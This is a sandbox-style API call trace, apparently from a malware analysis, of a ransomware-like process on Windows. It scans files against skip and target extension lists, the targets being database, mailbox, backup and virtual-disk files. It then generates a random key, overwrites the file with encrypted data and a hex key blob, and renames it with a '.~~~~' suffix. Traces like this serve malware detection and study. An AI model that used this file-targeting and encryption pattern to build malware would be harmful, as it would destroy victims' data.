	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".NDF") returned 0x0
	[0084.559] lstrlenW (lpString=".dat") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dat") returned 0x0
	[0084.559] lstrlenW (lpString=".DBS") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DBS") returned 0x0
	[0084.559] lstrlenW (lpString=".CKP") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".CKP") returned 0x0
	[0084.559] lstrlenW (lpString=".edb") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".edb") returned 0x0
	[0084.559] lstrlenW (lpString=".PST") returned 4
	[0084.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".PST") returned 0x0
	[0084.559] lstrlenW (lpString=".dbf") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dbf") returned 0x0
	[0084.560] lstrlenW (lpString=".SQL") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".SQL") returned 0x0
	[0084.560] lstrlenW (lpString=".pst") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".pst") returned 0x0
	[0084.560] lstrlenW (lpString=".dbv") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dbv") returned 0x0
	[0084.560] lstrlenW (lpString=".SDF") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".SDF") returned 0x0
	[0084.560] lstrlenW (lpString=".dtxs") returned 5
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dtxs") returned 0x0
	[0084.560] lstrlenW (lpString=".db3") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".db3") returned 0x0
	[0084.560] lstrlenW (lpString=".OST") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".OST") returned 0x0
	[0084.560] lstrlenW (lpString=".dbx") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dbx") returned 0x0
	[0084.560] lstrlenW (lpString=".DB3") returned 4
	[0084.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DB3") returned 0x0
	[0084.560] lstrlenW (lpString=".DAT") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DAT") returned 0x0
	[0084.561] lstrlenW (lpString=".VHDX") returned 5
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".VHDX") returned 0x0
	[0084.561] lstrlenW (lpString=".ndf") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".ndf") returned 0x0
	[0084.561] lstrlenW (lpString=".DB") returned 3
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DB") returned 0x0
	[0084.561] lstrlenW (lpString=".sql") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".sql") returned 0x0
	[0084.561] lstrlenW (lpString=".MYD") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".MYD") returned 0x0
	[0084.561] lstrlenW (lpString=".DBT") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DBT") returned 0x0
	[0084.561] lstrlenW (lpString=".ACCDB") returned 6
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".ACCDB") returned 0x0
	[0084.561] lstrlenW (lpString=".fdb") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".fdb") returned 0x0
	[0084.561] lstrlenW (lpString=".bak") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".bak") returned 0x0
	[0084.561] lstrlenW (lpString=".myd") returned 4
	[0084.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".myd") returned 0x0
	[0084.561] lstrlenW (lpString=".DTXS") returned 5
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".DTXS") returned 0x0
	[0084.562] lstrlenW (lpString=".ckp") returned 4
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".ckp") returned 0x0
	[0084.562] lstrlenW (lpString=".dbt") returned 4
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".dbt") returned 0x0
	[0084.562] lstrlenW (lpString=".db") returned 3
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".db") returned 0x0
	[0084.562] lstrlenW (lpString=".TXT") returned 4
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".TXT") returned 0x0
	[0084.562] lstrlenW (lpString=".MDF") returned 4
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".MDF") returned 0x0
	[0084.562] lstrlenW (lpString=".bdb") returned 4
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".bdb") returned 0x0
	[0084.562] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0084.562] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395388) returned 1
	[0084.563] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.564] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0084.564] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20455388013) returned 1
	[0084.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9c3d5810, dwHighDateTime=0x1d60e1e)) 
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2950
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2950 | out: hHeap=0x300000) returned 1
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808f00
	[0084.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.566] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808f00 | out: hHeap=0x300000) returned 1
	[0084.566] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0084.566] GetLastError () returned 0x0
	[0084.566] GetLastError () returned 0x0
	[0084.566] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0084.566] GetLastError () returned 0x0
	[0084.566] GetLastError () returned 0x0
	[0084.568] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffe32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.568] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1ce, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1ce, lpOverlapped=0x0) returned 1
	[0084.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.568] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.568] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.568] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.569] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.569] CloseHandle (hObject=0x124) returned 1
	[0084.569] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808f00
	[0084.569] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.~~~~")) returned 1
	[0084.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808f00 | out: hHeap=0x300000) returned 1
	[0084.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.570] GetLastError () returned 0x0
	[0084.570] RtlWakeConditionVariable () returned 0x365f70
	[0084.570] GetCurrentThreadId () returned 0xaf0
	[0084.570] GetCurrentThreadId () returned 0xaf0
	[0084.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808330
	[0084.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809050 | out: hHeap=0x300000) returned 1
	[0084.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2988 | out: hHeap=0x300000) returned 1
	[0084.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2809050
	[0084.570] lstrlenW (lpString=".scr") returned 4
	[0084.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0084.571] lstrlenW (lpString=".cmd") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0084.571] lstrlenW (lpString=".dll") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0084.571] lstrlenW (lpString=".bat") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0084.571] lstrlenW (lpString=".cpl") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0084.571] lstrlenW (lpString=".sys") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0084.571] lstrlenW (lpString=".msc") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0084.571] lstrlenW (lpString=".com") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0084.571] lstrlenW (lpString=".lnk") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0084.571] lstrlenW (lpString=".msp") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0084.571] lstrlenW (lpString=".pif") returned 4
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0084.571] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.572] lstrlenW (lpString=".sqb") returned 4
	[0084.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0084.572] lstrlenW (lpString=".ost") returned 4
	[0084.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0084.572] lstrlenW (lpString=".txt") returned 4
	[0084.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0084.572] lstrlenW (lpString=".mdt") returned 4
	[0084.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0084.572] lstrlenW (lpString=".BDB") returned 4
	[0084.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0084.572] lstrlenW (lpString=".eql") returned 4
	[0084.572] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0084.573] lstrlenW (lpString=".DBF") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0084.573] lstrlenW (lpString=".EQL") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0084.573] lstrlenW (lpString=".FDB") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0084.573] lstrlenW (lpString=".EDB") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0084.573] lstrlenW (lpString=".DACPAC") returned 7
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0084.573] lstrlenW (lpString=".VHD") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0084.573] lstrlenW (lpString=".DBV") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0084.573] lstrlenW (lpString=".dacpac") returned 7
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0084.573] lstrlenW (lpString=".sdf") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0084.573] lstrlenW (lpString=".accdb") returned 6
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0084.573] lstrlenW (lpString=".DBX") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0084.573] lstrlenW (lpString=".MDT") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0084.573] lstrlenW (lpString=".SQB") returned 4
	[0084.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0084.573] lstrlenW (lpString=".vhd") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0084.574] lstrlenW (lpString=".bac") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0084.574] lstrlenW (lpString=".mdf") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0084.574] lstrlenW (lpString=".BAK") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0084.574] lstrlenW (lpString=".BAC") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0084.574] lstrlenW (lpString=".dbs") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0084.574] lstrlenW (lpString=".vhdx") returned 5
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0084.574] lstrlenW (lpString=".NDF") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0084.574] lstrlenW (lpString=".dat") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0084.574] lstrlenW (lpString=".DBS") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0084.574] lstrlenW (lpString=".CKP") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0084.574] lstrlenW (lpString=".edb") returned 4
	[0084.574] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0084.574] lstrlenW (lpString=".PST") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0084.575] lstrlenW (lpString=".dbf") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0084.575] lstrlenW (lpString=".SQL") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0084.575] lstrlenW (lpString=".pst") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0084.575] lstrlenW (lpString=".dbv") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0084.575] lstrlenW (lpString=".SDF") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0084.575] lstrlenW (lpString=".dtxs") returned 5
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0084.575] lstrlenW (lpString=".db3") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0084.575] lstrlenW (lpString=".OST") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0084.575] lstrlenW (lpString=".dbx") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0084.575] lstrlenW (lpString=".DB3") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0084.575] lstrlenW (lpString=".DAT") returned 4
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0084.575] lstrlenW (lpString=".VHDX") returned 5
	[0084.575] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0084.576] lstrlenW (lpString=".ndf") returned 4
	[0084.576] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0084.576] lstrlenW (lpString=".DB") returned 3
